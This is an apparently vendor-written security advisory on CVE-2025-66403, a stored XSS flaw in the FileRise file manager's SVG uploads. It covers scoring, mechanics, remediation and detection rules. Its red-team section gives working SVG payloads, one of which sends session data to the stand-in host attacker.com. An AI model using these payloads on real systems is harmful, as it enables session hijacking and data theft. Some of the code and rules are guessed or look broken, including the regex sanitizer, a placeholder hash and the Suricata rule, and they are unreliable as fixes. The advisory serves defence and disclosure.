CVE-2025-66403

Executive Summary

CVE-2025-66403 is a stored cross-site scripting (XSS) vulnerability in FileRise, a self-hosted web-based file manager. The flaw exists in versions prior to 2.2.3 and arises from the application’s failure to sanitize uploaded SVG files. An authenticated attacker can upload a malicious SVG containing inline JavaScript or event-based payloads. When any user (including administrators) views the uploaded file within the application, the script executes in the origin context of the application, leading to full stored XSS. This can result in session hijacking, data theft, or further compromise of the application.

Supply Chain & Package Security

FileRise is a self-hosted PHP application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the application’s own file upload handling. Users must manually update their instance to version 2.2.3.

CVSS Breakdown & Threat Level

• CVSS Score: 4.6 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must view the SVG)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the stored XSS can be leveraged for session hijacking and lateral movement within the application.

Deep Dive & Mechanics

The vulnerability is in the file upload functionality of FileRise. The application accepts SVG files without sanitizing their content. SVGs are XML-based and can contain <script> tags or event handlers (e.g., onload, onmouseover). When the application serves the SVG file to a user’s browser, the browser interprets the SVG as an image but also executes any embedded JavaScript in the context of the application’s origin.

Attack Flow:

1. Attacker logs in to FileRise.
2. Attacker uploads a crafted SVG file (e.g., malicious.svg) containing a payload like <script>alert('XSS')</script>.
3. The SVG is stored on the server.
4. Victim (e.g., admin) navigates to the file manager and views the SVG (e.g., by clicking on it or via a preview).
5. The browser renders the SVG, executing the JavaScript payload.
6. The payload can steal cookies, perform actions on behalf of the victim, or exfiltrate data.

Root Cause: Lack of input validation and sanitization for SVG files. The application does not strip script elements or event handlers from uploaded SVGs.

Vulnerable vs. Patched Code

Vulnerable Code (before 2.2.3): The application likely uses a simple file upload handler that does not inspect the content of SVG files. For example:

// Vulnerable: No sanitization
$uploadedFile = $_FILES['file'];
move_uploaded_file($uploadedFile['tmp_name'], 'uploads/' . $uploadedFile['name']);

Patched Code (2.2.3): The fix involves sanitizing SVG files by removing script tags and event handlers. A possible implementation:

// Patched: Sanitize SVG content
$svgContent = file_get_contents($uploadedFile['tmp_name']);
$svgContent = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $svgContent);
$svgContent = preg_replace('/\bon\w+="[^"]*"/i', '', $svgContent);
file_put_contents('uploads/' . $uploadedFile['name'], $svgContent);

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to a FileRise instance (version < 2.2.3) with an authenticated user account.
• Ability to upload files.

Steps:

1. Create a malicious SVG file (e.g., xss.svg) with the following content:

   <?xml version="1.0" encoding="UTF-8"?>
   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
     <script>alert('XSS')</script>
     <circle cx="50" cy="50" r="40" fill="red" onload="alert('XSS')" />
   </svg>
   

2. Log in to FileRise and upload the SVG file.
3. Share the link to the uploaded SVG with the victim (e.g., via a direct link or by navigating to the file in the file manager).
4. When the victim views the SVG, the JavaScript executes.

Advanced Payload (Session Hijacking):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script>
    fetch('/api/session').then(r => r.text()).then(data => {
      fetch('https://attacker.com/steal?data=' + encodeURIComponent(data));
    });
  </script>
</svg>

Blue Team (Defense & Detection)

Detection:

• Monitor for uploads of SVG files with unusual content (e.g., containing <script> tags).
• Use WAF rules to block SVG files containing JavaScript.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Prevention:

• Upgrade to FileRise 2.2.3 or later.
• If upgrade is not possible, implement a reverse proxy that sanitizes SVG files before they reach the application.
• Disable SVG uploads if not needed.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • malicious.svg: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com) from the FileRise server.
• Log Entries:
  • File upload logs showing SVG files with unusual names or sizes.
  • Web server logs showing requests to /uploads/*.svg with referrer headers indicating internal navigation.

Detection Engineering

YARA Rule

rule CVE_2025_66403_SVG_XSS {
    meta:
        description = "Detects malicious SVG files with embedded JavaScript for CVE-2025-66403"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-66403"
    strings:
        $script_tag = /<script\b[^>]*>/i
        $event_handler = /\bon\w+\s*=\s*"/i
    condition:
        $script_tag or $event_handler
}

Sigma Rule

title: FileRise SVG Upload with Embedded Script
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of SVG files containing script tags or event handlers in FileRise
author: Valters IT
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: '.svg'
        TargetFilename|contains: 'uploads'
    filter:
        - TargetFilename|contains: 'sanitized'
    condition: selection and not filter
falsepositives:
    - Legitimate SVG files with embedded scripts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-66403 FileRise SVG XSS Upload"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:"filename="; content:".svg"; fileext; pcre:"/<script\b[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade FileRise to version 2.2.3 or later.
2. If upgrade is not possible, disable SVG file uploads in the application configuration.
3. Implement a web application firewall (WAF) rule to block SVG files containing <script> tags or event handlers.

Long-Term Measures:

• Conduct a security audit of file upload functionality.
• Implement strict input validation and sanitization for all uploaded files.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly update all dependencies and monitor for CVEs.

Workaround:

• Use a reverse proxy (e.g., Nginx) to sanitize SVG files before they reach the application:

  location /uploads/ {
      if ($uri ~* \.svg$) {
          # Use a script to sanitize SVG content
          proxy_pass http://sanitizer;
      }
  }
  

Valters IT
Securing Digital Frontiers